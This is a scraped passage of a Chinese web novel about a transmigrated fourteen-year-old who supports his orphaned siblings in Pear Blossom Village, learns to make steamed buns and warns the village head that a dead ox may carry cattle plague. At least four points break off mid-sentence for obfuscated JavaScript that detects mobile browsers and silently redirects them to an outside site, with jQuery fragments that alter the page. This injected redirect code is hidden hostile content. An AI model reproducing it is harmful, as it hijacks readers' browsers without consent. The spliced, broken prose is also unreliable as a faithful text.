见秦高琼不说话,她又故作凶巴巴的强调,“不准姐姐难受。” “你这语气和谁学的?”秦高琼被逗笑了,掐住她的腮帮子,“真霸道。” “哼哼,我就是这么霸道。” 秦高琼抽了抽鼻子,又看向两个哥哥,“那我继续吃了?” “吃吧吃吧。” 秦高琼把剩下的饭菜全吃了,这才有了八分饱的感觉。 她很小的时候就知道自己胃口很大,没分家前总饿肚子,是娘亲时不时偷偷额外给些吃的。分家后,她没怎么干活也饿得快,娘亲从不说,每次都添很多,宁愿她剩饭,也不愿她因为不敢或不想开口饿肚子。再后来……女孩背过身去擦了擦眼角。 无论是和家人相依为命的生活,还是最近出现希望的日子,她都很珍惜。 决定了,明天要起得更早去干活! 次日,在秦高琼风风火火跑去田里干活时,秦高瞻已经背着背篓去城里卖药了。 这次只有他一人来。他还特地找王大娘的男人编了个大些的背篓,将九制黄精,以及攒了四天的药材全都装上,又让弟弟帮忙抬到牛车上。 如此,他只需到达县城时,背着过重的药材走一段路。 还是去了仁心堂,看到炮制好的黄精,学徒很惊讶。 “成色很好,软硬适中,你学过炮制药材?” 秦高瞻含糊应了。 那学徒高兴起来,待他的态度终于和那些经验更加丰富的老手差不多了。 “如果九制黄精也能炮制得这么好,你可以试试炮制些别的。” 秦高瞻没一口应下,而是将其余药材都拿出来,任他们清点称重。 他昨日去田里的时候,听到几个老农聊天,说接下来估计有多日的小雨。这种天气根本不适合炮制药材,他们家也没条件烘干。这几日挖的黄精他都直接带来卖了。 攒了四天的药材,加上炮制好的四斤黄精,最终一共得了七百五十文。 将钱收好,秦高瞻先去了书坊,将田昌茂的字帖拿给唐老板看,不出意料被看中了。 “这些书要得急,你带回去给他抄写,下次再带他来认认路。” 秦高瞻小心翼翼将有些破旧的书籍,以及书坊提供的纸收起来,转头去买了两斗粗粮,又买了些胡瓜、茄子、芸豆、豆角等菜种。 加上家里还有菘菜、菠菜、莴苣等,他们家肯定不缺蔬菜,还会很丰富。 再转去肉铺,照旧买了些五花肉、猪肝和猪大骨。这次依旧砍价失败,不过多了一根大骨作为赠品。 路过包子铺时,被香味勾得走不动路。 他太久没吃面食了,也不会做,否则买白面自己做最划算。 “老板,包子怎么卖?” “青菜的一文一个,酱菜的三文两个,鲜猪肉的三文一个。” 秦高瞻想了想,“来两个酱菜的,两个猪肉的。” 又转头回去买了些白面,称了些猪肉。 原本他想买四个酱菜四个猪肉包子,结果一算,可以称斤肉了,那还不如买了自己回去试做,就算失败了,只要熟了,那也是白面和猪肉啊。 上辈子再苦的时候,也没吃不起包子。 回去时坐的隔壁村的牛车,有好几个村的人,没人八卦他,秦高瞻乐得轻松。 家里只有小妹,坚持等哥哥姐姐都回来再吃包子,秦高瞻干脆先去送书籍和纸张,又告诉田昌茂最迟交工日期。 “好,我肯定在那之前抄完。” 田昌茂很高兴,苍白的脸都多了丝红润。 “你这孩子,非要自己找苦头吃。” 周春燕也在家,话语在责怪,可表情很欣慰。 因收鸡毛和碎布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786706|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,她在不止一个村里走动,将许多人家的情况看在眼里,也时常去县里,实在见多了被一家人供养的书生看不起家人,还清高对工作挑挑拣拣的姿态。更有人读到四五十还不认清自我,继续让家人供他读书考试。 “瞻哥儿,给,带回家吃,我家养的鸡多,不缺这个。” 掌心多了四个温热的水煮鸡蛋,秦高瞻没拒绝。 要是生的,他肯定不要,估计周婶也猜出来,故意这么做。 “家里还有事,我先回去了。” 话音未落,远处传来嘈杂的声音。 附近有几户人家端着饭碗小跑过去凑热闹。 秦高瞻对八卦不是很感兴趣,转身欲走。 “瞻哥儿,不如去看看?” 见儿子兴奋的抱着书和纸进了屋,周春燕摇摇头,又主动带路。 “这次的热闹好看呐。” 秦高瞻疑惑,想着凑个热闹费不了什么时间,还是跟上去。 只是走着走着,他发现目的地过于熟悉了。正是没分家前住的那间宽阔的青瓦房。 不过这会,青瓦房外来了几个外村人,脚边则是一个巨大的担架,上边躺着只没了气息的黄牛。 一个脸白眼睛浮肿的男人正对秦登科哭诉。 “弟啊,是我对不起你。谁都知道黄牛珍贵,你好心借我家牛,我对它都比对我孩子好了,恨不得同吃同住照顾。我也闹不明白,这牛怎么一直拉肚子。我都顾不上家里的地,又是亲自照料又是找大夫看,花了不少银钱,还是没救回来。是我辜负了你的信任,你打我骂我和我绝交,我都认了!” 跟来的同村人不满:“亮子,你也忒实诚了,分明是这牛借来时就有问题。” “别说了,我相信我的至交好友不会做坑骗我的事。” 又继续愧疚的和秦登科哭诉。 秦登科的表情非常精彩,秦大壮夫妇则是怒了。 赵氏顾不了那么多,指着何亮就是骂,骂得有多难听就有多难听。 “啧啧,”周春燕摇头,“这只黄牛年纪有些大了,那也值个八两十两。十两认清一个人,也不知值不值。” 秦高瞻想到上次去县城时的事。原来何亮是给黄牛买治腹泻的药。只是没找到病因,药不一定对症,此外,人吃的药和牲畜吃的药肯定有差别。 他觉得秦登科不想吃这个亏,可找不到证据,还会将秦大壮夫妇推出来解决这个问题。这不,赵氏又哭又闹的,还犀利点出何亮平时的为人,这会又在梨花村对质,村民大多站在自村人这边,何亮那边开始落下风了。 不经意间和秦登科对视,被瞪了眼后,秦高瞻露出笑容,对方立马主动移开目光。 秦高瞻对这些不感兴趣,家里还有好多事等着他去做,而且他肚子还饿了。哪里像来看热闹的村民,一边端着碗扒饭一边看热闹,这是当下饭菜呢。 扫视一圈,瞧见两个捂着嘴偷笑的人,他连忙走过去。 “回家,我买了包子。” 他拽住拎着农具跑来看热闹的弟妹,“没什么好看的。” “包子?”秦高琼满脸惊喜,立马将热闹抛到脑后。 秦高瞰拎着农具跟上,走出十几米后,忽然回头看。 “秦高中回来了。” 15. 包包子 看热闹的人一哄而散,何亮等人也趁机扔下死牛跑了。 院门和大门紧闭。 堂屋里,秦高中脸色难看,“非要在这时候闹事?为了只牛成了全村人的笑话,这样让我怎敢将同窗带回来?” 才弱冠的青年继承了父母外貌上的优点,仪表堂堂。虽说没穿绫罗绸缎,可用的也是上好的细布,甚至腰间还挂了玉佩,与梨花村,与这个家的人格格不入。 与光彩照人的他相比,秦大壮这对老夫妇简直堪称灰扑扑。 赵氏最疼这个长孙,平时也怕极了他生气,连忙小声将事情解释一遍,又说,“那只牛值十两银子哩,事发时不追究,日后就算告到县衙,咱们也说不清……” “为了十两银子还要告到县衙?”秦高中恼怒,只觉得祖母钻钱眼里去了,一点都不体面,嗓门不自觉大起来,与同窗们交流时的温文尔雅判若两人,“你们还嫌不够丢脸?” 赵氏张张嘴,望向长孙,表情无措甚至有些迷茫。 她不理解,十两很少吗?乡下人家,一年能攒一两银子的都不多。自分家后,他们家地少了,能干活的劳力少了,她和丈夫拼了命的干,才勉强让长孙读书的同时还能与友人同窗交际。 “咳咳!” 说不清的寒意袭上心头,赵氏忽然咳起来,脸色跟着有些灰败。 原本一声不吭的秦大壮拍了拍老妻的背,语气生道,“这次的事你奶没做错。只是这会那个何亮跑了,得想办法追回损失。” 秦高中皱眉,他难道没表达清楚自己的意思? “爷,现在可是……” “高中!” 秦登科忽的拔高音量,制止儿子继续说下去。再吵下去,会被邻里听见,对儿子的名声不利。他儿子可以在家里当小霸王,出了门必须装孝顺。 “这次是我识人不清,”秦登科只字不提自己之前如何信誓旦旦的保证何亮的人品,也不提自己喝酒时吹牛,“不过事情已经发生,咱们家不能无端损失了牛,同样,也不能影响高中府试,和他在同窗之间的名声。” 他给出解决办法,“我私下再去何亮家,找他要些赔偿。十两不肯给,七八两总该给吧?至于这牛,按照意外死亡报到县衙,转头卖给肉铺。私下许多酒楼和富贵人家肯定抢着要。” 孙氏刚刚被震怒的儿子吓到,这会也帮腔。 “是呢,牛肉价贵,能卖不少,加上赔偿,肯定远超十两,到时咱们再买一只,不耽误农耕。” 她心里门清,她和丈夫平时都不怎么干活,儿子读书还需靠公公婆婆供养。心里可以瞧不起两人,可事关儿子的利益,装也要装一下。她丈夫不就是靠嘴甜,哪怕不干活,也哄得两人吃最多的苦也乐呵呵么? 夫妻俩配合起来,很快哄得赵氏去厨房生火做饭。 “登科,你跟我去县衙,再找几人帮忙抬着牛。” “爹,也不急吧?” 秦大壮不看儿子,“接下来农忙,我没工夫处理这事。” “交给我就行了,爹,你不用理会这件事。” 秦大壮不吭声,但也没和往日那样,一言不发去厨房帮忙。 秦登科心里‘咯噔’了下,爹在这事上不信任他了?当了四十来年的父子,他太清楚秦大壮是个多么固执的人了。固执到就算他没考到秀才,也认定老大家会有出息,又是给他找了个秀才女儿当媳妇,又是继续供他儿子读书。 他就是凭借这份倔享了这么多年的福,自然也知,秦大壮一旦决定了的事,就不会改。 “好,我这就去喊人,吃完饭咱们就去城里。” 又安慰第一次被爷奶晾在一旁的儿子,“放心,别人家的耕牛出事也是走这个流程,与官司无关。我认得你那些同窗,去县衙时也会避开他们。” 秦高中表情这才好了些,又看了眼不再吭声的爷爷,心里更是认定一件事。 他板着脸回到房间。 过了会,这位即将参加府试的书生怒气冲冲的走到院子里。 “是不是你翻了我房间里的东西?” 之前吵架时缩在一旁,这会出来喂鸡的秦来娣手足无措。 “我、我没翻,我只是进去打扫了下。” “谁让你打扫的?天天打扫也不嫌烦?” 秦来娣白着脸,手指握在一起,“娘让我打扫的,她说城里许多读书人都有侍女帮忙打扫。” “你是侍女么?”秦高中冷着脸,“以后别进我房间,我会和娘说。” 秦来娣垂着头应了,等脚步声远去,她才重新蹲下,将菜叶撕碎扔给家里养的鸡鸭。 过了一会,她才用干净的手背抹了抹眼角。 又是这样,从来不喊她的名字。 她的确不是侍女。 她连侍女都不如。 侍女干活能拿酬劳,她干再多的活,连颗鸡蛋都吃不到。 因为每个人都吃了一颗水煮蛋填填肚,又多了四个大包子,秦高瞰淘米时没蒸那么多饭。 过了会,米饭的香味和白面、酱菜、猪肉的香味传来。 “我宣布,”秦高琼擦了擦唇角,“这是世上最好的味道!” “没错,”秦高瑜开始流口水,“美味!” “咱们先吃包子吧。” 秦高瞻也馋得不行,而且他是忍了最久的那个,眼看包子从热到冷又到热。 这份期待增加了包子的美味。 他吃肉馅的觉得好吃得不行,吃酱菜的也觉得很好,甚至各吃完半个,还意犹未尽。 再看几个弟弟妹妹,不约而同的选择舔手指。 “包子真好吃啊。” “要是能天天吃包子,那该多幸福啊!” 秦高瞻指着买回来的白面,“等我们学会做包子,就能经常吃了。” 一息后,他老实承认,“可能会失败个一二三四次才学会。” 想到白面的价格,秦高瞰就失去了做实验的勇气。 唯独秦高琼兴致勃勃,“我们不会,可我们能向会的人请教啊!” “王大娘。”秦高瑜冷不丁蹦出一个词。 “王大娘?” 秦高瞻其实不算很了解这个邻居。 以前的交集差不多是见面会打招呼,互相通知村长的话。 最近一次让他印象深刻的交集,是原身生病时。 秦高瞰将田卖给隔壁村的何富户,又急忙去县里请大夫,结果时辰太晚城门关了,人和大夫都没能出城。 那时原身病得神志不清,秦高琼一边照顾哥哥妹妹,一边又担心二哥出事。 隔壁的王大娘听到哭声过来敲门,了解情况后,回家让男人去打听消息,自己陪了这对姐妹一晚上。 身为成年人,她不仅能给这对姐妹带来安全感,也能让村里一些懒汉打消不好的念头。 后来秦高瞰带着大夫给大哥看完病后,还特地捡了几颗鸡蛋拿了些粗粮去道谢,王大娘没收。 就秦高瞻所知,这对夫妻是年轻时搬来村里,积蓄不多买的水田少,后来陆续在荒坡开垦了些土地,只育有一女,早些年嫁到隔壁县,逢年过节才过来。 “没错,”在他梳理记忆时,秦高琼已经积极响应妹妹,“就是王大娘,我听王大娘说过,她以前的一个邻居会做包子,她学会了,只是现在买不起白面。” “那傍晚去和王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802563|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大娘请教。” 秦高瞻也乐得节省实验的时间。 干了一下午的活,转眼就到了要吃晚饭的时辰。 秦高琼扔下锄头就去了隔壁,很快将王大娘请来。 王大娘进了厨房,不多看,也不多问他们家哪来的钱买白面和猪肉,将手洗得干干净净后问,“我会两种发面的法子,一种用老面,不过制作老面需要两三日。制好后,日后想蒸包子,就取一些老面和白面混合,随取随用。另一种是烫面,现做现吃,包素馅最好,荤馅也行,可能没素馅那么合适。你们想用哪种?” “才不做选择,全都要。”秦高琼下意识道,过了息后知后觉捂着嘴,无辜的大眼睛盯着王大娘看。 王大娘慈善的笑了笑,“那我先给你们做点老面,再做用烫面的法子做包子。” “大娘你真好!” “你是世上最好的大娘。”秦高瑜咧着嘴笑。 “哎哟,阿瑜这张嘴比糖都甜。”王大娘都哄得眉开眼笑。 秦高瞻有些心虚,小妹夸奖人的句式好耳熟。 他默默去烧火烧水,秦高瞰更是默默切菜剁肉。 老面好做,将面粉和温水混合成团,放在温暖的地方发酵几日就行。 这会热水也快开了,取还没烧开但很烫的热水缓慢倒入白面里搅拌,揉至光滑。 “烫面的话不需要等,现在就能擀皮包包子。” 擀好皮,王大娘取了一块开始教学。 “用烫面这种法子,中间的皮要厚些,否则蒸的时候容易露馅。” 四兄妹齐刷刷点头。 过了会,秦高瑜举起掌心的包子,乐呵呵,“露馅了。” 秦高瞰赶紧拿过来,将自己包好的那个放上去。 “馅儿藏起来了。” 秦高瑜用小手指轻轻戳戳,发现出现一个小坑后,连忙踮起脚尖,放进蒸笼里。 五人齐心合力,很快包了许多素馅和猪肉馅的包子,决定分两批蒸。 一刻钟后,第一笼出锅了。 “大家都来尝尝。” 秦高瞻夹了个猪肉馅的,放到碗里,递给王大娘后,这才一一给弟弟妹妹夹。 才出锅的包子热腾腾、香喷喷,吹几下,咬一口,带着浓浓肉香的汁水便流出来。 秦高琼斯哈斯哈吃着,还不忘朝王大娘竖起大拇指,“大娘,你做的比包子铺卖的好好吃。” “世上最好吃。”秦高瑜赞同的点头,吃得太开心了,又没忍住跺跺脚。 “大娘,您的手艺是真好。” 秦高瞻也觉得手里的包子好吃。 “你们这些孩子,惯会哄人开心的。” 王大娘笑得脸上的皱纹都舒展开了,“白面和猪肉做的,能不好吃?” 等一个吃完,秦高瞻拿了个盘子,从蒸笼里夹出六个递给王大娘。 “辛苦大娘了,这些带回去和叔一起吃吧。” “使不得,这也太多了。” 王大娘一眼瞧出,这里边有四个荤的。 “我就是随手帮个忙,给我一个,让你叔也尝尝就行。” “还得算上教学呢,”秦高瞻拎得清,换做别人,未必肯教,也未必教得这么用心,还不嫌他们几个小孩烦,“您看夫子教学生要收束脩,您怎么就不能收?” “那能一样么,夫子教的是学问,我这算什么。” “民以食为天,吃最重要。” 秦高瞻的表情和语气都很认真,几个弟弟妹妹又附和,王大娘还是接了,过了会过来还盘子,还给了把蔬菜。 这天晚上,四兄妹吃包子吃得心满意足,还留了几个第二日当早饭。 16. 清明 次日,吃了包子喝了稀粥,一家人又开始卖力干活了。 路过家里的水田时,看到快要挖完的沟渠,秦高瞻被弟弟妹妹的效率惊到了。 “你们别伤到也别累到,咱们家不急,慢慢来。” “一点都不累。” 秦高琼脸上的笑容就没下去过,“吃得这么好,我有的是力气干活。” 一旁,秦高瞰默默点头,心里想的却是,早点忙完这边的,就可以去荒坡那边帮忙,免得大哥又要整旱地,又要去挖药。 秦高瞻劝了几句,见弟妹一个劲的点头,眼珠子却乱转,闭嘴了。 当天,他比平时更早些下山,来地里喊弟弟妹妹回家。 他不干活了,两个小的也别干了。 到田里时,却发现有村民拉着弟弟说话,妹妹虽然在干活,可耳朵竖起,显然在一心二用。 看他走近,那村民笑着打了声招呼就走了。 “他说了什么?” 在秦高瞻印象里,大多村民只有聊八卦,特别是和他们家有关的八卦才会找上门,平时和他们关系都淡淡。 看热闹,是梨花村村民永不变的传统。 “和秦登科家有关。”秦高瞰表情有点复杂。 “是他们家那头牛啦,”秦高琼凑过来,“他们家昨天把牛送到县衙,准备报备后卖给肉铺,结果被了解牲畜的人点出是病牛。是什么在牲畜中常见的疾病,按照规定,不能卖,以防万一,还必须焚烧处理。” 秦高瞰点头,“这病好像前期症状不显,因此说不准是借牛前还是借牛后生病,他们家想要赔偿更难了。” “常见的疾病?春季疫病多发,那我们村其他牲畜也要注意了。” 秦高瞻只关心家里两只小母鸡。 小妹照顾得很用心,过不了多久应该就能下蛋了。 “这么严重?”两人吓了一跳。 “小心些总没错,有对人伤害极强的时疫,就有对牲畜伤害极强的时疫。认出这病的人没说些什么?” 秦高瞰摇头,“村里人就是单纯凑热闹,了解得不多。” 秦高瞻不放心。 且不说大多村民养了鸡,少部分养了猪,就说县衙分配给他们村的那几头牛,那可是重要的公共财产,未来村里大部分人就指望着它们犁田呢。 “何亮那人真是下了步臭棋。” 想到何亮几人是抬着病牛从何家村一路来梨花村,期间不知和多少人接触过,他就气到牙痒。 要真出现最坏的情况,那家伙会遭报应的! “你们先回家做饭,我去找村长。” 见他这么严肃,两兄妹也紧张起来。 他们对疫病的印象停留在三年前在县城里流行的那场时疫,他们因此失去了父母。 “在牲畜间流行的疫病也这么残忍?”秦高琼喃喃,甚至为刚刚看热闹感到愧疚。 “希望没事,”秦高瞰忧心忡忡,“咱们村有好些牛,隔壁何家村的牛更多。” 而且村与村之间交流密切,一个村出事也许会波及整个岑县。 要真有大批牛出事,未来几年岑县的农民要吃大苦头。 村长家。 听了秦高瞻的话,王村长同样表情严肃。 “是啊,有可能是时疫,”王村长语气沉重,“你年纪小不清楚,三十多年前,不少人家养的鸡莫名其妙死了,导致很长一段时日,没人敢养鸡。鸡会这样,那牛也有可能。只是我实在不懂这些,这些年没见过牛生这样的病。” 这会他忘记秦高瞻才十四岁,“你读的书多,你可了解?” “我想见见病牛,要是病牛已经被焚烧,我想询问接触过的人。” 秦高瞻没一口否认,他了解一些在现代牲畜之间流行的疾病,只是当时没往那个方向想。 一来他不想和秦登科家产生太多交集,这家人不来招惹他就当不存在。二来何亮等人将病牛搬来时,特地盖了草席,看不见具体情况,当时在人群里也没闻到异味。 “此外,多数时疫的传播途径类似,咱们都防备起来,总有些用处。” 他说了些防范牲畜疫病的常见做法。 村长优先安排村里公用的那些耕牛,又找了隔壁几家人,让他们一一去通知。 “别不当回事,”王村长看向其中一个表情有些不以为然的青壮,“回去问问你爷,看他记不记得三十多年前的事。去通知时也这么说,我就不信所有人都忘了。” 那青壮态度这才认真了些。 安排下去后,王村长对秦高瞻说,“你先回家等着,我先去找里正。那牛是在何家村出现这种情况,得让他先通知何家村,再尽量在几个村安排下去。去见病牛甚至报到县衙也需要里正出面。” “辛苦您了村长。” “这是我该做的,也多亏你提醒。” 纵然年轻时经历过类似的事,一晃过去三十多年,他的警惕心也下降了。 叶氏将家里专门买来给他办事用的骡子牵来,又塞了些干粮和一竹筒的水。 “你小心些。” 王村长颔首,“我明白。” 他人要小心,也要让家里的骡子小心。里正就住在何家村,有了警惕心后,何家村对他来说都要成龙潭虎穴了。 “别太担心,说不定认出病牛的人已经报给县令大人,县衙已经请人做进一步的确认。” 离开村长家后,秦高瞻难得转到以前住的的地方。 秦来娣正在喂鸡,看到他吓了一跳,好一会才结结巴巴打招呼,“瞻、瞻哥儿,你、你有事?” 说着惊慌的回头看,小声说,“爷在地里,奶在做饭,爹不知道去哪了,娘去了别人家。” 刚好,秦高瞻也不想和其他人接触。 他压低声音问:“昨日的那只牛应该没再带回来吧?” “没,”秦来娣微微垂眼,不和他对视,“爹说那牛有问题,不能卖得烧了,舍不得花钱拖回来烧,便让县衙的小史处理了。” “那就好。” 秦高瞻还挺怕秦登科贪便宜阳奉阴违,和奸商沆瀣一气。看来对方在这种事上拎得清。 他简单说了那只牛可能感染疫病的事,又说了这几日照顾鸡鸭的注意事项,匆匆离开。 秦来娣吓了一跳,她没料到病牛这事还有后续,又陷入纠结。堂弟好心提醒她,可她不敢说这是出自秦高瞻之口,否则家里几个人都要爆炸。 好在没一会,孙氏匆匆回来,表情难看。 “娘,我在梅花家听到一件事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梨花村历史不久,又多姓,除了后来有些富裕的人家特地圈了块地当祖坟,一般人家都是请风水先生看过,择了个合适的位置下葬亲人。有时候哪怕是同一家,彼此坟墓也隔了些位置。 秦登山夫妇葬在较为僻静的地方,一年不来,杂草丛生,小坟包也绿油油的。 留下小妹待在安全的地方看守食物,秦高瞻三人开始处理周围的杂草,一路处理到夫妻俩的合墓前。 将祭品摆上,烧了纸钱,兄妹四人轮流跪下磕头。 他们有很多话想说,到最后,只是声音哽咽道,“爹,娘,我们过得很好,不要担心我们。” 纸钱成灰不断上旋。 秦高瞻目光追随着灰烬,犹豫了下,还是没支开弟弟妹妹单独祭拜原身。 他怀疑原身也穿了,毕竟他在现代,是睡梦里无端穿越,那具身体大概率没死。 而他和原身,不仅字迹像,面容也有九分像,简直就像是同一个人。偶尔他还怀疑他们互为平行时空的同位体。 没有更多线索,他也由衷的祝福另一个秦高瞻可以在现代试着过不一样的生活。 十四岁不该是人生的终点。 17. 牛瘟 祭拜过先人,祭品就可以吃了。 来之前他们特地将篮子裹得严严实实,这会米饭和艾草米糕都是温热的,四人刚好分了,美美吃了一顿。 吃完后,秦高瞻拿起之前特地留开的艾草米糕和一点纸钱,“我去祭拜曾祖他们,阿瞰,你带着阿琼阿瑜先回家。” 分家后,秦登山夫妻也会祭拜那些先人,秦高瞻不认得他们,但不介意这么做,反正米糕当做祭品后还会拿回家。 “哥,你一个人去?”秦高瞰有些担心,“我陪你一起吧。” “不用,你们先回家,能干活,也能等村长那边的消息。我一个人就可以了。” 说着迈开脚步,循着记忆找过去。 到达目的地时没瞧见秦登科一家,表情也没变化,简单清理了一点杂草开始祭拜。 病牛的事让秦登科一家情绪不好,以他对这些人的了解,八成会拿惯常欺负的对象出气。 他有本事怼回去,却也不想让弟弟妹妹再听一些腌臜话。 下山时遇到了秦大壮祖孙三人,赵氏、孙氏和秦来娣没来。发现秦高中穿着一身针脚细密的浅色圆领袍,他怀疑祭完祖这袍子能毁一半。 他朝扛着锄头的秦大壮点头,“爷,早。” 秦大壮板着脸‘哼’了声,碍于周围陆续有村民路过,而最近他们家出了尽了‘风头’,他没和之前在田里遇见那样,恶狠狠瞪几眼,骂几句。 秦登科更是见到他就想到赔出去的粗粮鸡蛋和小母鸡,心疼得不行。不过,他好面子,忍着恶心假惺惺关怀了几句。 很快两人从他身边走过,秦高中落在最后,目光复杂的望向这个堂弟。 “你真不读书了?” 秦高瞻觉得好笑,他不读书是现在才发生的事?过去三年了才问。 “要是爷奶像支持堂哥那样支持我,我当然愿意读。” 他笑眯眯,声音不大不小,保证先一步离开的父子俩和路过的村民都能听见。 秦大壮臭着脸,他一年大多时候都是这幅表情,有意停住脚步的村民看不了好戏,目光只能在秦登科父子脸上流连。 秦登科强撑着没变脸,心中苦涩哀嚎。他的宝贝儿子哟,他都说不过这只小狐狸,何必自找麻烦?想阻止双方交流,却听到儿子开口了。 “我们家是农户,出不起更多银两,我学问优于你,自然支持我。叔叔也这么想,那些年才一力支持我。” 秦高中根本不觉得爷奶的做法有问题。更认为那些年秦登山是在投资他,只是没毅力没见识,中途闹着分家。 秦高瞻微微瞪大眼。仔细打量对方的表情,发现是发自内心这么想后,差点气笑。 行啊,这家伙不要脸,那他就撕开脸。 “农家多家贫,不过爷奶应该很有钱,毕竟能支持你频繁进出那些酒楼。” 这事在村里不算秘密,不过没多少人跑到秦大壮夫妇、秦登科夫妇面前说而已。 努力放缓脚步的村民露出会心的笑容。 秦高中觉得堂弟的笑容有些碍眼,又品出几分阴阳怪气,只当这个堂弟是在嫉妒。 “你没读多少书自然不知,时常切磋学问才有进步。我那些同窗友人多是富贵子弟,选在酒楼开诗会不是很正常么?” “这么说都是他们请客?” 秦高中本想应下,顺带说说自己结交的人家里如何有钱,或者有哪些亲戚在当官,又觉得秦高瞻的笑容像是在嘲讽他巴结有钱人,改口道,“我们素来以文会友,不计较阿堵物。他们豪爽,亦真心待我,我又怎会占他们便宜?” 笑眯眯的少年翻译:“也就是说,他们时常请你,你也时常请他们,的确不曾占便宜,堂哥为人正直啊。” 这时,有按耐不住的村民凑过来吃瓜。 “高中啊,那你们平时一顿饭花多少钱?怕不是几百文。” 秦高中露出矜傲的表情,正要报出一个震惊众人的金额,陡然听到亲爹拔高的声音。 “高中,快些,不要误了时辰。” 秦高中不悦皱眉。 秦登科用余光偷觑亲爹的表情,继续说,“祭拜完后你还能赶去私塾,你可是要备考府试的人,咱们村的希望。” 原本看热闹的村民顿时心情苦涩,他们当中有孩子在村学读书,可惜今年落榜。 没了吃瓜的兴致,各自去找各家先人的坟头。 秦登科松了口气,瞪了眼笑得跟狐狸崽似的侄子,拽住儿子的衣袖大步走了。 刚刚那话,可不止说给酸溜溜的村民们听的,也是说给可能会计较他儿子花钱大手大脚的秦大壮听的。 钱是花了,他儿子也给了足够多的回报。这可是整个村独一份的荣誉。 瞧出这些心思,又见秦大壮脸色多云转晴,秦高瞻也懒得继续纠缠下去。 他一边下山,一边在心里想,难怪秦高中读了十六年的书,下场十次都不中。都二十岁的人了,居然还这么单蠢。连他简单的言语都招架不住,将来随便来个人挖个陷阱,都能自豪的往下跳。 摇摇头,没把这些事放在心上,他回家,拿了斗笠,和看家的小妹打声招呼,去地里干活了。 过了会,原本阴沉的天开始下雨,如同细丝。他没在意,继续干活。只是等他想进山挖药时,雨开始下大了,只得回家。 下午雨依旧很大,兄妹几人破天荒闲下来。 秦高瞰逮到机会,拽住三妹开始改衣服。 他们俩针线活并不好,可比起缝衣服总是扎到手的大哥,和懵懂的小妹,他们好歹能把衣服缝得像模像样,穿出去不被人笑话。 这几年家里都没置新衣,基本都是将父母的衣服改给大哥和三妹,小了后再改给他和小妹。 秦高瞻则是进了书房,翻起书,思绪飘远。 大乾朝的科考分为童试、乡试、会试和殿试,通过后分别是秀才、举人、贡士和进士。 其中秀才只算入门,掌握四书五经,基本的诗赋论就可以下场,且较为侧重四书。 童试可以说是考核考生的学习能力,到了乡试,考核难度偏向现代的公务员。会试更甚。 因此不乏许多人在童试中表现卓越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过看到弟弟妹妹开始变得红润的脸蛋,逐渐壮实的身体,又觉得钱真是个好东西,可以买食物将家人养好。 他心情不错的去荒坡干活,等中午回家,得知有关那头病牛的消息,好心情没了。 亲自来通知的王村长又是庆幸又是痛恨。 “昨个没音讯我还想着是误会一场,结果今日里正就把我们叫去开会,传达了县衙那边的指令。里正去县衙时,恰好遇到宁大人,宁大人很重视这件事,里正这才知道,底下的小吏根本没把这件事告诉宁大人。 “我也能理解那小吏不重视,我活了这么久都没往疫病那边想,负责的小吏更年轻…唉,可偏偏大人找了不少有经验的人来检查牛,又翻阅了过去的县志,找到百年前的记录,认为八成是牛瘟。” 有一定心理准备的秦高瞻不觉得奇怪,他更奇怪的是,“找人来看牛,当日病牛没被烧?” 提起这件事王村长就气。 18. 排查 “没烧!” 王村长气得拍桌,桌上碗里的温水开始晃荡。 “秦登科嫌麻烦,将病牛交给县衙的一个认识的小吏焚烧,那小吏却是个滑头的,将牛藏起来,打算等两日找人去了腐烂的地方,将尚好的那些割了买。” 见他气得脸色涨红,秦高瞻还真怕他血压上来晕过去,忙说,“他没拖着病牛到处走就好,留下病牛,也方便县令大人调查。现在县里是个什么章程?” “咱们这儿只有百年前发生过一起牛瘟,县志里记载的法子简单,还不如你那日同我说的。宁大人按照我告诉里正的那些安排下去,派出不少人在各地排查,又集思广益,希望我们献策。” 王村长道明来意:“我寻思着你以前时常出入书坊,可是读了有相关记载的旧书?” 秦高瞻正在想理由呢,闻言立马顺坡下,“我的确在书坊里看了许多书,也抄了不少旧书。不过那本书并非在书坊,而是有人手头紧卖书,其中一本也不知从哪儿淘来的,薄薄一本,近乎散架,缺漏不少。那本是免费赠我,读过一遍……” 王村长惊喜:“那书现在在哪?” 秦高瞻表情苦涩,“一日大雨不慎受潮毁了。” 又在王村长失望的目光下说,“不过我记得一些内容,比之前和您说的更详细。我默出来,也许能派上用场。” “好好好,你默写,我在这儿等着。” 